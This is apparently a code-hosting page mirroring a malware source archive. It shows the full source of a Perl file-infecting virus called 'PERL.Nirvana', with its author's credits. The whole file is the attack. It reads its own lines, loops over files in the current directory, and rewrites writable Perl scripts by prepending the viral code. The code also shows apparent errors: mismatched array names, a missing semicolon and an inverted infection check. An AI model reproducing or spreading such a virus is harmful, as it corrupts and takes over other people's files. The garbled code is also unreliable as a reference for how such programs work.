mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-30 06:55:27 +00:00
31 lines
648 B
Plaintext
31 lines
648 B
Plaintext
|
# Nirvana RuLeZ the world
|
||
|
|
# PERL.Nirvana
|
||
|
|
# by Second Part To Hell
|
||
|
|
|
||
|
|
# Thanks to SnakeByte for your tutorial!
|
||
|
|
|
||
|
|
open(file,$0);
|
||
|
|
@nirvana=<file>;
|
||
|
|
@nirvana=@nirvana[0...31]
|
||
|
|
close(file);
|
||
|
|
|
||
|
|
foreach $FileName (<*>)
|
||
|
|
{
|
||
|
|
if ((-r $FileName) && (-w $FileName) && (-f $FileName))
|
||
|
|
{
|
||
|
|
open (File, "$FileName");
|
||
|
|
@Lithium=<File>;
|
||
|
|
close(File);
|
||
|
|
if ((@Lithium[1] =~ "Nirvana") or (@Lithium[2] =~ "Nirvana"))
|
||
|
|
{
|
||
|
|
if((@Lithium[0] =~ "perl",,i) or (@Lithium[1] =~ "perl",,i))
|
||
|
|
{
|
||
|
|
open(sliver, ">$FileName");
|
||
|
|
print sliver @Nirvana;
|
||
|
|
print sliver @Litium;
|
||
|
|
close (sliver);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|